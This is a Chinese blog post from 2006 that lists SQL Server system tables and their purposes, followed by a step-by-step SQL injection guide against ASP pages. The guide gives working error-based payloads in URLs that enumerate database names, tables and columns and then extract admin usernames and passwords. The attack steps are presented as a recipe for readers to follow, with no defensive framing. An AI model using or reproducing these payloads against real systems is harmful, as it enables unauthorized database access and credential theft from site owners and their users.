sql server 中各个系统表的作用

sysaltfiles    主数据库               保存数据库的文件
syscharsets    主数据库               字符集与排序顺序
sysconfigures  主数据库               配置选项
syscurconfigs  主数据库               当前配置选项
sysdatabases   主数据库               服务器中的数据库
syslanguages   主数据库               语言
syslogins      主数据库               登陆帐号信息
sysoledbusers  主数据库               链接服务器登陆信息
sysprocesses   主数据库               进程
sysremotelogins主数据库               远程登录帐号

syscolumns     每个数据库             列
sysconstrains  每个数据库             限制
sysfilegroups  每个数据库             文件组
sysfiles       每个数据库             文件
sysforeignkeys 每个数据库             外部关键字
sysindexs      每个数据库             索引
sysmenbers     每个数据库             角色成员
sysobjects     每个数据库             所有数据库对象
syspermissions 每个数据库             权限
systypes       每个数据库             用户定义数据类型
sysusers       每个数据库             用户

SQL INJECTION 灵活多变,注入的语句不一,下面只提供暴库的一般
步骤,希望能对你有帮助。

1:暴出所有库名.
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名

2:暴出库中的表
假设存在一个bbs的数据库,提交下面的语句:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U')
来得到一个表 假设为 admin
提交:
http://www.***.com/jump.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.sysobjects where xtype='U' and name not in
('Admin'))
来得到其他的表。

3:暴出表中的字段
提交:
http://www.***.com/***.asp?id=1 and 0<>(select count(*)
from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id)))
得到UID的数值假设为18779569 uid=id
提交:
http://www.***.com/***.asp?id=1 and 0<>(select top 1 name
from bbs.dbo.syscolumns where id=18779569)
得到一个admin的一个字段,假设为 user_id

4:暴出用户名和密码等
假设存在user_id username ,password 等字段,提交:
http://www.***.com/***.asp?id=1 and 0<(select user_id from
BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到密码。。。。。

posted @ 2006-11-06 17:25  Athrun  阅读(280)  评论(0编辑  收藏  举报